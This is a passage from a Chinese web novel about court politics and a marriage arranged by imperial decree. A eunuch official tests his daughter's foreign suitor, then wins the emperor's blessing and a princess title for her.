幸好,天子驳了这一桩姻缘。干爹也没辙。 义妹不远嫁,那就很好。 宋三德觉得义妹在镐京都寻了夫婿,如此才是好事。 真是离开镐京都,义父又哪能护了义妹。 男人,像是大赵朝的新唐县伯这等人物,比他宋三德有本事,有富贵。 当然,还多了那二两肉。 可那又如何?在宋三德眼中,那家花不如野花香。 男人的心眼儿,哪有多少好与坏的区别。 不过是心热时,哪哪都好。一旦恶了,可能恨之如狂。 真是联姻,也得门当户对。 搁镐京都,义妹寻了什么儿郎,凭义父撑腰。自然门当户对。 可去了大赵朝,被人拿捏了,又哪有什么门当户对的。 “劳您传话。”赵济世压下心头的怒火。 这会儿的赵济世请宋三德吃吃茶,又封了请茶钱。 尔后,送走宋三德。 余一人时,赵济世压不住心头怒火。只是有了怒火,怒了一下。 赵济世哪怕是大赵朝的新贵又如何?是使节又如何。 赵济世只是臣子,在面对大晋天子时,在面对皇权时,他只是小人物。 这大人物与小人物,从来是相对的。这一刻,赵济世恍然明白。 他辛辛苦苦往上爬,又是如何? 在一些贵人的心里,他还是如蝼蚁。不说踩踏。 真是伸脚了,可能还让贵人费力。 那一等的憋屈,赵济世心里不爽利的很。 在使节住的馆阁里,赵济世没出门。一直等万内相的回信。 得着答应后,赵济世又登门浑江郡主府。 这一回,赵济世在郡主府前院做客,当然没见着心上人。 赵济世见着万内相。 在书房中,万忠良语气平静说道:“咱寻你来,你可有怨气?” “当然不敢。”赵济世回道:“天子之意,无人敢驳。” “只是不敢,而不是没有。看来,真有怨气。”万忠良说道。 被万忠良的目光盯着,赵济世坦然。他当然有怨气。 “我一心一意想求娶万妹妹,一心赤诚,天日可表。”赵济世觉得他太委屈了。 “陛下那儿,咱会寻机会再想一想法子。咱是闺女的爹,闺女的婚事总要咱点头。”万忠良表明态度。 “至于陛下,陛下是心疼咱这一个家奴。”万忠良的目光一下子望着皇宫方向。 对于洪福帝,万忠良有感情。很真诚。 说真话,万忠良跟洪福帝相处的日子太长。 跟亲闺女相处的时间,又太短。 人嘛,倒底感情经营,也是需要时间的。 “陛下有话,让贤妃娘娘召见一些诰命夫人。”万忠良又说一说宫廷里的意思。 王贤妃要撮合了姻缘,这姻缘是给浑江郡主办的。 还是天子的意思,那么,王贤妃就得办好。 出这一事,万忠良在洪福帝跟前拒绝了吗? 没有。 “……”赵济世这会儿有一点傻眼。 “伯父。”赵济世问道:“您真能驳了圣意吗?” 对于内相而言,对于太监而言,天子的心意太重要。 “陛下待咱,恩重如山。这一回的婚事,陛下不同意,不是不满意你。而是陛下心疼咱。” 万忠良的目光落赵济世的身上。 “你哪处都好,唯一桩不好。你乃大赵臣子。陛下心疼咱,怕咱跟前缺了亲闺女与女婿孝顺。女儿远嫁,咱往后想见一见闺女,又哪能见着一面?”万忠良说的大实话。 搁如今的世道,真远嫁,可能一嫁就是终身再难相见。 摆事实,这就是事实。 子欲养而亲不殆,难道不是人世间的悲剧? 赵济世听着这一番话,他沉默了。 有俗语云,父母在,不远游。这话说的,也是说在一些人心坎上。 真不是父母想拘着儿女,而是远行难,难如登天。 可能一场远行,就是生死分离。 “是我让伯父为难了。”赵济世在现实面前,当然得承认现实。 “伯父,我想求您给一个机会。”赵济世说道:“镐京都的儿郎,自然有好儿郎。” “高门大户,贤妻美妾,嫡庶之争。”赵济世说着人人知道的真相。 “我,一介寒微出身。我这一辈子能迎娶到万妹妹,自然敢向伯父保证。此生,不纳二色。” 赵济世的态度摆明。万忠良瞧着,问道:“此娶嫡妻,不纳二色,就不怕被人笑话惧内?” “怜子如何不丈夫。妻子,亦是内人。自然是一家人。自家人,不二话。”赵济世回道:“旁人的嘴,长旁人身上,与我何干。” “我这人风里来,雨里去。吃着刀口上的饭,不怕流言蜚语。”赵济世坦坦荡荡。 万忠良心想,逼一逼,还是有好处。瞧瞧,这赵大郎都说不纳二话。 “若是你和咱的闺女没子嗣咋办?”万忠良瞧一眼赵济世。 “……”赵济世愣在当场。 “不是说咱闺女有问题。咱请过太医,给闺女一直有好好的调养。凭咱闺女的健**几个胖孙孙,没任何问题。”万忠良脸色严肃的说道。 万忠良的目光灼灼,望着赵济世,又道:“你都说,你乃刀口上吃饭。危险啊。” “……”赵济世这会儿听懂了。 其时吧,有些人在战场上受一些伤,失了生育能力。赵济世太懂。 吃刀口饭,若有意外,也是难免的。 “伯父放心,我无二恙。”赵济世忙道:“伯父不信,让太医会诊,自然真相大白。” “咱的意思,万一,你二人都无恙。还是膝下空虚,又当如何?”万忠良这话问的,貌似有一点故意刁难了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 赵济世沉默了。 说二人若无子,便是天意?赵济世觉得他一辈子坦坦荡荡,他奋斗的新唐县伯爵位当然要后继有人。 真是不想有 后人承继家业,那话太假。他说了,旁人谁信? “我不知道。”赵济世的答案是迷茫的。 “这话,咱信。”万忠良的目光落在赵济世的身上。 “你没说假话,咱很欣慰。”万忠良对于赵济世的态度很满意。 都是过来人,谁不想把家业传给子孙。给旁人? 万忠良自己都不想。 反正搁万忠良身上,他不是圣人,割肉喂鹰,他是办不到的。 “那你回去好好想想。也许多想想,你未必就想迎娶咱的闺女。”万忠良叹息一声。 “倒底有陛下的圣意在。”万忠良讲道。 这是考验。万忠良给的。哪怕是借着洪福帝的意思。 万忠良的态度很明白,他要替女儿扫清一些障碍。 或者说有些事情,万忠良表态,倒会显得咄咄逼人。 可一旦附上皇权,那就不是万家人的态度。 彼此留一点余地。 至于说赵济世在皇权面前退一步?那就让他退一步。 如今有麻烦,这人就退一步。在万忠良瞧来,也好过将来他老了,他没了,女儿人老珠黄时被人嫌弃。 那时候谁来给他万忠良的闺女撑腰? 在送走赵济世后,万忠良去了亲闺女住的院子。 “爹爹。”万珍珠瞧着亲爹来,她迎上去,福一礼。 “外面天气好,陪咱走走。”万忠良说道。 “好。”万珍珠应了。 在自家的花园子走走,父女二人慢慢走。闲暇赏景,更是闲聊。 “今天赵大郎又登门拜访,咱刁难他了。”万忠良对亲闺女说道。 “爹爹办事,自有道理。”万珍珠回得干脆利落。 好歹之间,万珍珠分得清楚。 亲爹应该不会是想棒打鸳鸯,真没必要。 万珍珠对于亲爹的了解,勉强有一些的。有些事情既然办了,也要敞亮。 如今的做法,万珍珠瞧着,可能是考验吧? 只是人心经得住考验吗,万珍珠怀疑。 “爹爹不怕让赵大哥白来镐京都一趟,又或是闹得一地鸡毛,场面狼藉吗?”万珍珠问道。 “现在挑破,好过将来成了夹生饭。”万忠良回道。 万珍珠听过这话,也是沉默下来。 有人说过,投胎是没法子选择的,那是人的第一次命数。 那么成婚就是人生的第二次投胎,因为相伴一生的人是好是歹? 这真的很重要。 往后的风风雨雨,真是来自枕边人,那就太悲凉了。 “可爹爹,有时候考验太多,也许会太过了。”万珍珠回道。 “心疼了?”万忠良的目光落闺女身上,尔后,问道。 万珍珠轻轻摇摇头,她回道:“女儿只是觉得做人做事,论迹不论心,论心无完人。” “也怕考验太多,可能彼此还是会加深了误会。有些事情说开了,指不定结果会更好。欺瞒等等的手段,一个谎言讲了,可能就是无数的谎言来填坑。” 万珍珠的眼中,赵济世人真不错。 凭对方做了新唐县伯,还偿允诺,这便是人品好。 “你啊,心太软。”万忠良感慨一回。 “不过你是女郎,心软也不是大错。”万忠良瞧着亲闺女,又是感慨一回。 “无情未必真豪杰,怜子如何不丈夫?”万珍珠念了一句诗。 一句记忆深处的诗,她道:“爹爹,心软未必是坏事。只要有底线,又守了底线,没糊涂的耳根子软了。未必不是好事。” 人生观,价值观,世界观,万珍珠有自己的三观。 她的人生,活了三辈子。有些东西都是改不了,成了根子上的事。 “咱这般做,不是真想刁难他。”万忠良回道:“咱是想求了陛下的一点怜悯。” 万忠良讲了真话。 “如此,咱才好把一些东西交到你的手上。”万忠良叹息一声。 薅羊毛,不是亲闺女一人干的事情。万忠良也干的。 不止是积攒了家业,还有一些暗处的人手。万忠良不交给亲闺女,他还能交给谁? 在皇帝跟前求怜悯,那么,就只能是上位可怜位卑者。 有些姿态,万忠良还得做出来。总要让上位者来施恩。 把自己弄得狼狈些,在万忠良瞧来,没什么坏处。 只要天子能赏一点怜悯,万忠良不介意自己更狼狈。 好处占了,便宜拿了,万忠良觉得自己一个太监,缺二两肉的人。又何必计较太多。 反正实惠嘛,万忠良要替亲闺女争取到。更要让赵大郎知道,他万家女,也是许多贵人相求。 一家女,百家求,可不是说说的事情。 住在大晋衙门馆阁的赵济世在后面的日子里。 他听着一些消息。 关于荣恩伯府举行宴会,关于一些镐京都的公子郎君倾慕了浑江郡主等等的风声。 隐隐约约,全传进了赵济世的耳里。 对此情况,赵济世除了暗地里苦笑,还是苦笑。 当然,应该办的事情,做为使节的差事。赵济世先忙碌,待这一桩忙碌了。 赵济世不急着回燕京都,还是常常盯紧了浑江郡主府。 待万忠良一回府,赵济世指定登门拜访。 在万忠良与牛二囡的跟前,赵济世只做小辈的恭敬态度。 那态度特诚恳,把自己的姿态摆的很低。 又是几日后。 浑江郡主府,万珍珠接见了林江郡主这一位客人。 “听说妹妹近日红鸾星动,好事将近,恭喜妹妹。”林江郡主在万珍珠跟前,还是笑嘻嘻的恭喜一回。 “姐姐……”万珍珠哪里能开心大笑。 万珍珠是真的遇着好几桩的相亲。有王贤妃的点名。 在荣恩伯府里,万珍珠觉得她啊,太尴尬了。 可惜上位者的好意,万珍珠又是拒绝不得。 “妹妹,如何不开兴吗?”林江郡主与万珍珠交好,自然瞧出来她的态度。 “那些公子太好,我不配罢了。”万珍珠说了自己的态度。 “妹妹,太谦虚了。”林江郡主讲道:“你这话,我不爱听。” “敢跟妹妹许了凤求凰的儿郎,必然是心悦了妹妹。妹妹的品貌家世,什么样的好儿郎都配得。”林江郡主瞧着万内相的红红火火,在天子跟前的圣恩得宠。 依着林江郡主瞧来,只有人巴结浑江妹妹的。 哪有不长眼的敢嫌弃? 二人又闲聊一会儿。林江郡主陪着万珍珠一道吃吃茶。 这会儿林江郡主的目光在周围瞧一眼,尔后,压低一些声音,说道:“我有一事,想求妹妹。” “姐姐有事,但说无妨。”万珍珠知道林江郡主不是爱随意开口的人,这一开口,当有为难处。 林江郡主讲道:“母妃寻我,让我来探一探妹妹的口风。可否求了妹妹,跟万内相说一二好话。” “汝阳王府辜负圣恩,自当受罚。奈何宗室亲王,倒底……”林江郡主连连叹息。 有些话,林江郡主想讲。 可有些事情,一旦办了,林江郡主又怕坏了跟浑江妹妹的交情。 谁让当初汝阳王世子刘展跟浑江郡主万珍珠有那么一段旧事在。 那些旧事,偏生林江郡主还是见证人。 当年那一箭,林江郡主到现在还记得。 这会儿的林江郡主期期艾艾,到底还是把替汝阳王府求情的话讲出来。 “姐姐知我,我一浅薄之人。哪懂朝堂宗室之间的大事。”万珍珠态度从来明明白白。她肯定站亲爹这一边。 别人送礼,万珍珠收了,再知会亲爹一声。 至于后续如何?从来是亲爹拿主意。 关于汝阳王府出事,万珍珠不知道汝阳王府是不是底子真干净? 依着万珍珠想来,一定不干净。 莫看这世道的贵人,人人都是讲什么贵人的高高在上,清雅高贵。 那全是装的,或者说全是富贵养出来的奢侈。 真让这些所谓贵人去过一过黎庶百姓的日子,谁都高贵不起来。 更何况,贵人们的好 日子哪来的? 有些话,清楚的真清楚。不清楚的,不是蠢,就是坏。 反正在万珍珠心里,她自己就是清楚的“坏”吧。可能,也有一点“蠢”。 “不过我与姐姐感情好,这事情我会跟爹爹提一回。成不成,我不敢保证。”万珍珠态度坦然。 当然要跟亲爹讲一讲,都让人求上门。万珍珠岂能装聋作哑。 至于替汝阳王府求情?那不可能。 刘展当年拿万珍珠当棋子,万珍珠恶心着。 旧日一箭,如今的万珍珠再回想,她觉得当时的自己可能过激。 搁如今,万珍珠觉得她当时射出的那一箭,确实是当时“疯”了。 或者前世今世,时光嘛,总在身上搁了影子。 表面不存在的痕迹,那在骨子里。有人刺激了,万珍珠彼时未曾复仇,瞧着仇人还过得很好。 那真遭不住。 如今?万珍珠觉得自己坦坦荡荡了。因为杨婉芯也罢,朱三姑娘也罢,那二人都不在了。 亲爹替自己已经复仇了,既然仇人都没了,万珍珠当然放下过去。 可给自己想挖坑的刘展?这人,自己不再招惹他,他就不应该再搁自己跟前露脸。 这不,一露脸,万珍珠又是琢磨起来一些事情。 有想法,待过几日。 亲爹一回府,万珍珠就寻了亲爹,跟亲爹问一回话。 “爹爹。”万珍珠挺殷勤,待亲爹一落坐,赶紧递上茶。 “您润润喉。”万珍珠笑道。 “如何,可有事求咱,瞧你殷勤的。”万忠良问了亲闺女。 “女儿孝敬爹爹,哪来什么殷勤一说。”万珍珠娇嗔着回话道。 “好好,全当闺女的孝心,咱受用。”万忠良高兴一回,饮一饮茶。 饮过茶,万忠良摆摆手,道:“坐,咱们父女说说话。” “好啊。”万珍珠一口应下。 只这会儿屋内,父女二人相处。至于侍候的仆从,万珍珠早早使了眼色打发离开。 “爹爹,女儿愚笨,有一事想寻问您呢。”万珍珠跟小狗腿一样,语气殷勤的问了亲爹。 这时候万珍珠一想,亲爹说殷勤啥的,那还没说错。 “讲讲。”万忠良说道。 “林江郡主登门求情,替汝阳王府说好话。”万珍珠不讲虚言,把林江郡主替汝阳王府求情的事情一五一十的全讲了。 话罢,万珍珠又说了自己的态度,她道:“我从来是听爹爹的,这事情好不好,坏不坏,我不会替汝阳王府的人求情。天家宗亲,真是被办了,那肯定是宫廷之意。女儿才不多嘴。” “爹爹,女儿提一回,也是觉得有事不能瞒爹爹。爹爹您可莫瞧着女儿的薄面,还是饶恕坏人。”万珍珠的态度多鲜明。 万忠良瞧清楚亲闺女的态度。他哈哈大笑一回。 笑罢,万忠良说道:“咱是瞧出来,你哪是求情,你是恨了汝阳王世子刘展。” “恨过。”万珍珠讲道:“他拿女儿当猴子耍,岂能不恨。” “万一女儿真蠢,一下子跳他的坑里,那不是一辈子全栽了。”万珍珠实话实说。 有心上人,再追求一个“贤妻”。这等人,万珍珠讨厌的很。 特别是刘展目的很坏。当年旧事,万珍珠仔细琢磨过。 为何寻她? 那肯定是瞧着她的不完美,家世有瑕疵,在后面可以被踢掉。 凤凰男一心想吃了岳丈家的家业,总之,防人一手,不可不防。 问万珍珠心悦赵济世吗?有一些欢喜啊。毕竟就看那一张脸,也能多吃半碗饭。 除此外,万珍珠更看重的,还是赵济世的人品。 做人做事,从一而终,这很难得。 “咱瞧着,你随咱,咱父女二人都是小心眼。”万忠良的态度很明白。 “至于说汝阳王府这一遭让天子罚了,也不冤枉。那等贵人,还轮不到咱这等天子的家奴去瞧不起。”万忠良瞧一眼女儿。 “闺女,你莫心软。让人求两句话,就舍不下脸面。依咱的意思,人啊,这一辈子太要脸,做人会很难。”这是万忠良的态度。 因为万忠良就是不要脸,他才能混到如今的高度。 这是万忠良的人生经验与感悟。 “嗯,我信爹爹。”万珍珠肯定信亲爹。毕竟她穿书前,生活在一个有滋有味的繁华盛世时。 现代还有俗语,都说人不要脸,天下无敌。 “爹爹放心,我就说说,不给谁求情。何况,爹爹都明示,你可是乐意替女儿出口恶气。女儿跟爹爹一样,也是帮亲不帮理。” 万珍珠当然会站了亲爹这一边。 “帮亲不帮理,那说说,咱跟赵大郎,你又帮衬哪一边?”万忠良问道。 亲爹随口一问,万珍珠沉默片刻,慎重的想一想后。万珍珠认真回道:“我帮爹爹。” “爹爹,女儿真的心悦赵大哥。”万珍珠说的很认真,眼神似乎在发光。 万忠良瞧得出来,女儿的眼神里真的有光芒闪耀,很漂亮,很美好。 “可……”万珍珠一咬牙,又道:“女儿争取这般久,若还是得不到爹爹与娘的同意。哪怕赵大哥再好,这一桩姻缘,女儿不强求罢了。” “舍得?”万忠良问道。 “舍不得。”万珍珠低了头颅回道:“没法子,女儿也说了,女儿站爹娘这一边。” “选边了,总得分轻重。”万珍珠态度很认真。 因为对于皇宫里的意思,万珍珠听着风声。 这才是万珍珠咬牙退让一步的原因,那真的求不得,便是退一步。 万珍珠不是英雄,她从来是把自己当小人物。 小人物当然就得有小人物的自知之明。 “……”万忠良这会儿愣神一下。万万想不到,他想考验一下赵济世。 这一考验,亲闺女经不住考验了。 这让万忠良很尴尬,毕竟近些日子,赵济世的态度让万忠良越来越满意。 就在父女二人一番谈话后。有万忠良的小跟班来禀话。 万珍珠一听,原来是赵济世登门拜访。这不是头一回了,亲爹每每归来,赵济世必登门拜访。 “瞧瞧,赵大郎才是殷勤,每一回不落,一直是堵着咱。”万忠良这般说,可态度很不错。 差人去请客人。 万珍珠这会儿跟亲爹告辞离开。万忠良问道:“不见一见赵大郎?” “不见了。怕见了,女儿要后悔。赵大哥人很好……”万珍珠还记得前面说过的话。 “真是的。”万忠良嘀咕一回。 “咱的话不过唬一唬你。咱是你爹,不心疼你,还心疼外人不成。”万忠良摆摆手,示意闺女退下。 当然应该给的明示,这是明晃晃的讲了。 万珍珠当然听明白,亲爹没棒打鸳鸯的意思。 貌似宫里的意思,亲爹会替她做主吗? 万珍珠确信,她真的从亲爹这儿拿着态度。 她跟赵大哥,还是有缘的。 待万珍珠一离开后,万忠良在前院见了赵济世。 “小侄见过伯父。”赵济世在万忠良跟前的态度不变。 一直是把自己当小辈,把万忠良当尊敬的长辈。 “瞧你死心眼,咱倒挺欣赏。”万忠良夸一回赵济世。 同时,还留着赵济世吃吃茶,又开口留赵济世吃一餐饭食再离开不迟。 对此,赵济世欣然同意。 吃吃茶,二人闲聊。万忠良说道:“咱准备跟陛下求旨意。” “你与闺女的事,咱同意了。陛下那里,到底是怜悯咱 这等旧人。“万忠良的目光落赵济世的身上。 “当然,咱也是看你的态度好。”万忠良还记得当初的问话,赵济世给的态度。 “……”赵济世此时欢喜。 求新妇,这想娶一个媳妇太难了,赵济世觉得他真的太不容易。 这岳父大人同意了,还要求得大晋天子的同意。 赵济世觉得他好委屈。可这些委屈,在知道能迎娶了万妹妹时,又全变成了欢喜。 人生喜事,一大惊喜,当然是娶了心上人。 万忠良从来是说到做到的人。这不,次日回了皇宫。 万忠良趁着天子心情好时,他跪在天子跟前求情。 “大伴这是何意?”洪福帝问道。 “求陛下怜悯,奴才想替闺女求一道圣旨赐婚。”万忠良讲道。 “大伴挑中女婿了,快讲,让朕知道了是哪一家的儿郎,朕得好好的替大伴家的闺女赐嫁妆。”洪福帝的脸上带了笑意。 “朕啊,还要赏了贤妃。瞧着贤妃办事,还是妥帖的。”洪福帝让王贤妃寻了好儿郎,给万大伴的闺女撮合一回。 这不,日子不太久,好消息就传来。洪福帝很开心,他又替大伴了一桩大心事。 “陛下,奴才的闺女要嫁的儿郎,便是那大赵的新唐县伯赵济世。” 万忠良态度恭敬的回道。 洪福帝的神色变了,先是严肃,尔后,又是一声叹息,有一份无奈。 “大伴,朕劝过了,又何必让你的闺女一定嫁一个他朝臣子。待将来,大伴跟前哪有亲骨肉来孝顺了。”洪福帝是真心替万大伴考量。 “奴才也老了,就想着让闺女称心一回。一辈子的终身大事,就随闺女的心意吧。”万忠良讲道。 “至于奴才……”万忠良语气停顿一下。尔后,才道:“陛下,奴才僭越。” “奴才在陛下跟前侍候,奴才跟亲闺女相处的日子,不过近些年罢了。”万忠良摆了自己的态度。 “这一辈子得陛下信任,得陛下恩重如山。奴才就已经知足了。再贪亲情,贪了女儿的孝顺,岂是不知足。人的福有数,能得陛下的隆恩,奴才不敢贪更多,就怕折了奴才的薄福。”万忠良这是表态。 跟相处几年的闺女相比,还是天子这儿重要。 至少这是万忠良想让天子念着的一点旧情。 是不是真? 可能让万忠良来讲,他也说不清楚。 在天子年幼时,万忠良就把天子照顾长大。 说没感情?那不可能。 要知道当初陪着天子走过来的风风雨雨,那些年,不止是天子与家奴,万忠良私下里真的把天子当过“亲人”。 谁让那时候的万忠良也不敢肯定,他还有没有亲人。 见亲闺女,有过开心。这些年相处,血脉相连,哪能没感情。 只是这感情与感情,相处久了,那也不一样的。 “大伴,你啊,又是何必,又是何苦……”洪福帝瞧着万忠良的态度。 “罢了,朕不会让大伴为难。”洪福帝叹息一声,他亲自搀扶起万忠良。 第62章 人活世间,想求什么,也要舍一点什么。万忠良便是如此想法。 他想求闺女的前程,此时,在天子跟前当然就要表明自己的态度。把自己摆的卑微不算什么,他不过一介天子家奴。 万忠良更想让人知道的,那是他的忠心天日可表。 至于闺女,当然是随了闺女的心意。 洪福帝瞧着如此的万大伴。他当然是同意了。 “朕知大伴,也罢,当成全了大伴。”洪福帝给了自己的态度。 “奴才求陛下宽恕一回,奴才胆大一回。余生就求给闺女一个前程。这前程,便是万全于她的姻缘。”万忠良的态度摆得太低。 “旁的奴才不奢求。奴才闺女能嫁予心上人,闺女一辈子能快活。便是如此,就算成全,两相便宜。” 做为天子家奴,这闺女与“主子”,哪一样更重要? 至少表现出来时,当然是“主子”更重要。 大晋朝,镐京都,内城,浑江郡主府。 万珍珠在思量了亲爹的一些话。这会儿,她一边思量,一边瞧着自己的画作。 秋日,画上的菊花开得灿烂。 万珍珠瞧着画卷,还是走神了。问她的想法,她在想,亲爹说过的一席话。 “秋日好,好景致。”万珍珠嘀咕一回。可在心里,万珍珠还在想着林江郡主嘀咕几回的话语。 因着汝阳王府的事情,万珍珠对林江郡主抱歉一回。 对此,林江郡主倒没说什么。毕竟求情了,林江郡主应该走的人情,这给了。 再求更多,林江郡主当然不会奢望。 大赵朝,燕京都,内城,崔府。 崔九姑娘在陪着姐姐谈话,她说道:“八姐姐多好的人,如何还让人嫌弃了。” 崔九姑娘不开心。她跟八姐姐是亲姐妹,对于姐姐的婚事不顺,当然不开心。 “世间姻缘,全看缘法。我与新唐县伯缺少一点缘分罢了。”崔八姑娘温柔笑道。 “这话八姐姐相信,我却不信。”崔九姑娘不开心,嗔怪道:“要我讲,八姐姐,那新唐县伯哪里知你的好。哼。” “真要怨,也怨了当年的旧事……”崔九姑娘话至此。 崔八姑娘打断话,道:“关乎宫廷之事,莫要再多言。九妹妹,宫廷里的婕妤娘娘也是崔氏一族的姐妹。我等崔氏的名誉为重,可不能自己毁了。” “……”崔九姑娘听着姐姐这般讲,她便住了嘴。 可那神情,还不满意。 “旧事,过去便过去了。”崔八姑娘笑道:“再说,妹妹莫担忧,姐姐一定早些出嫁,可不会耽搁了妹妹的好姻缘。” “……”崔九姑娘一听姐姐的话,脸红了。 “我哪恨嫁,姐姐,你莫胡说。”崔九姑娘嗔怪道。 “对,对,全是我胡说。”崔八姑娘笑了,也是承认自己说错了。 姐妹二人笑闹一场。屋中气氛甚好。 待这一场笑闹后,待崔九姑娘离开姐姐院子,回自己住处时。 崔八姑娘坐于窗边的小榻上,她忍不住出神。 崔八姑娘见过新唐县伯。 因为见过,也是欢喜。若不然,她不会求了母亲,提了这一桩姻缘。 可惜,因着宫廷里的崔婕妤旧事,新唐县伯似乎对于崔氏一族有了芥蒂。 崔八姑娘心里叹息一回。明明想有缘,可惜却无缘。 “姑娘。”崔八姑娘的心腹丫鬟喜鹊这会儿讲话,道:“夫人寻您。” “走吧,我去母亲那儿一趟。”崔八姑娘起身,尔后,往正院去。 崔八姑娘见着生母,崔氏嫡房的主母。 “母亲。”崔八姑娘给生母问安。 “来,与我坐一会儿,我们娘儿俩说说话。”崔家夫人贺氏说道。 “全听娘的。”崔八姑娘温柔一笑。 待崔八姑娘坐于贺夫人的近前后,贺夫人摆摆手,示意侍候的丫鬟婆子全退下。 屋内剩下母女二人。贺夫人问道:“这几日递你的名录,可瞧过了。” “仔细瞧过。”崔八姑娘回道。 “可有中意的儿郎。”贺夫人笑问道。 “娘挑的郎君,自然处处皆好。家世背景,前程无量,没得让人挑剔的地方。”崔八姑娘知道似她这般的女郎,总应该嫁给一位家族满意的夫君。 当初瞧中新唐县伯,也是因着新唐县伯的身份够合适。 若能成,家族只有满意的,没可能不满意。 毕竟新唐县伯是天子心腹,是新贵。可惜,无缘了。 “娘,女儿婚事,全由爹娘做主便是。”崔八姑娘讲道:“女儿都欢喜的。” 贺夫人听着女儿的话,她的脸上全是心疼的神情。 “好孩子,娘知道你的好。”贺夫人叹息一声。 “可你啊,太委屈自己了。”贺夫人话至此,她又道:“那新唐县伯不识抬举,唉。” “娘瞧着,也是他有眼无珠。我家女儿,掌上明珠。他 却拒之,我倒想瞧瞧新唐县伯要娶了什么样的名门淑媛来。“贺夫人不开心的很。 想着自家张口好意结亲。头一回出现被人拒绝的事情。 让贺夫人好难堪。 更让贺夫人心疼的,还是自家的女儿太懂事。 瞧瞧,中意的没能相看上。如今全听爹娘的吩咐。 “只是终身大事,关乎你一辈子的幸福。若是可以,在合适的人选里。娘总想让你挑了中意的。” 画了圈圈,在里面挑一挑。这是贺夫人能给女儿的帮衬。 “这些郎君,女儿都满意。谁做女儿的夫婿,女儿一样赞同的。”崔八姑娘的态度很淡然。 或许不能嫁给欢喜之人,她有情,对方无意。 如此,又何必强求。崔八姑娘自然想得开。 “罢,你心头有主意,娘不强求你了。”贺夫人感慨一回。 在心里,贺夫人就一个想法,圈一个前程最好的儿郎。 待将来,那一定让女婿压了新唐县伯一头。 大晋朝,镐京都,内城,浑江郡主府。 万忠良回了府里,一回来,他见着妻女时,那心情很不错。 因为跟着万忠良一起来的,还是天子的使节。 天使前来,就为着一桩事情。册封万珍珠为浑江公主。 不止赐公主封号,同时,还替万珍珠赐婚。 这等事情当然太大发了。天子赐婚,又赐嫁妆。 一旦万珍珠出嫁,还是风风光光。毕竟送嫁时,还有大晋的朝廷使节相送。 这等规格,让万珍珠说,这真的超标了。 可这一回的事情,万珍珠瞧得出来。这是亲爹的心意。 非是亲爹操持,天子哪知道她万珍珠是哪一根葱? 瞧着是天子赐的天恩浩荡,其时,这一切是天子给万大伴的筹赏。 天使传旨,府上摆香案,接领圣旨。 待领了圣旨,谢过天使跑一趟后。圣旨被供了起来。 这会儿的万珍珠才能跟亲爹问一问详情。 “夫君,这……”牛二囡太惊喜。对于亲闺女被册封为公主,牛二囡只有欢喜的道理。 要知道天子赐婚,要差天使送嫁。这太风光了。 牛二囡给激动的,有些话不知道从何说起。 万忠良表面很淡然,心头很得意。舍一张老脸,他觉的值得。 总归天子给他留了体面。 “咱一家三口议一议,有想问的,尽管问便是。”万忠良打发走侍候的丫鬟婆子。 屋内,一家三口落坐,万忠良的目光落在亲闺女身上。 “闺女,想问就问,瞧你好奇的样子,咱就知道你一定有很多话要讲。”万忠良笑道。 “爹爹,我太开心。您待女儿太好了。”万珍珠语气有些激动。 郡主、公主,这两者之间的待遇差别太大。万珍珠哪能不在意。 “我儿,你爹本事大。咱娘俩,这是沾着你爹的光彩。”牛二囡这会儿也开心的讲道。 “夫君,你给说说吧。”牛二囡劝道。 万忠良瞧着妻女的模样,他应了,也给说一说。 待万忠良一说完,牛二囡的神色变了。 “在天子跟前如此讲,可不是坏了我儿的名声。”牛二囡对于名声有一些看重的。 谁让这一个世道如此,女子的名声很重要。 若非万家人口少,不是一个大家族。 真生在大家族里,那女子的名声更重要。宗族之下,有的是法子治了名声坏掉的女郎。 “在天子跟前卖惨,咱这法子效果又快又好啊。”万忠良感慨一回。 办有些事情,想得到什么,总要付出什么。 哪可能没代价。 或者说没代价,那么,想收获的话,总归不会尽如人意。 “娘,哪有您说的严重。”万珍珠劝一回。 有万珍珠劝一番,牛二囡的神情缓和些。 万忠良也劝道:“且宽心,咱已经求过天子。” “且,刚才的圣旨上,不也夸了闺女嘛。有天子夸,谁敢说了闺女半个不好的字眼儿。”万忠良讲道。 “娘,爹爹说的在理。我能被册封为公主。谁又会嘀咕了我的不好。”万珍珠看得开。 亲爹就在天子跟前嘀咕她的不好又如何? 一旦远嫁。说句不中听的。 往后大晋天子可管不着她这一位浑江公主。 只是想着爹娘。 万珍珠又道:“爹,娘,女儿虽是远嫁。可那浑江郡是女儿的名号由来。若将来……” 万珍珠一咬牙,还是讲道:“真是闯了一些名堂。爹娘,您二位的养老,还是由女儿来奉养吧。毕竟女儿应该孝顺您二位的。” “说甚的养老,咱精力好着。”万忠良摆摆手,似不在意的样子。 “夫君,我儿说的好。”牛二囡倒赞同女儿的话。 “待将来,真有大孙孙,我还想抚育小辈的。”牛二囡可想享受天伦之乐。 听着妻女的话,万忠良说道:“莫胡说。我在天子跟前当差,自然要好好的侍候了陛下。” 万忠良在天子跟前说的话,甭管真假。既然说了,就得保真。 既然是忠心天子的家奴,那么,便不能在洪福帝活着时,那想着“逃”到了异乡,去享受了女婿和女儿的孝顺。 万忠良不走,妻子牛二囡当然也不能离开。 有些事情就这样,一根筋,两头堵。 如果万忠良不如此,那就是坏菜。毕竟,他有着机会,还不替亲闺女争取一些好的。 如此,那就是蠢。 万忠良不想当蠢人,更不想让亲闺女吃亏。 能挣的,没挣到,那就是少挣。少挣,可不是就成了万忠良心里的吃亏。 人嘛,一旦吃亏,那就太难受了。 镐京都,衙门馆阁。 赵济世接到天使的赐婚圣旨。初时,赵济世是拒绝的。 他一介外朝臣子。哪能受领圣旨。 可在听到圣旨的内容后,赵济世又改变态度。 万妹妹与他,总归有缘了。 问赵济世的心情如何,那当然跟吃蜜一样甜。 人生大事,这一遭,总算成了。 当然,赐婚圣旨下来,应该走的三书六礼,那肯定不能省。 赵济世可不想委屈了自家的万妹妹。 又两日。 镐京都,内城,浑江郡主府。 林江郡主来做客,这些日子,她先避讳一点浑江妹妹。 主要还是想避一避风头,让汝阳王府的事情过去了。 过去的了无痕,这般就能不再谈论。 如此,瞧着事情真过去了。林江郡主又登门。 一登门,她就跟万珍珠道喜。 “恭喜殿下,贺喜殿下。”林江郡主在万珍珠跟前,还是行了礼。 当然,这语气嘛,带着喜庆的味道。 这瞧着,不止是调侃,更是一种亲近的态度。 “姐姐,我们这般相熟的,您当然还是唤我一声妹妹即可。”万珍珠笑着回道。 二人落坐,此时,万珍珠又请林江郡主品一品茶果点心。 “姐姐登门,这才是稀客。好些日子,也见不着姐姐。”万珍珠讲道。 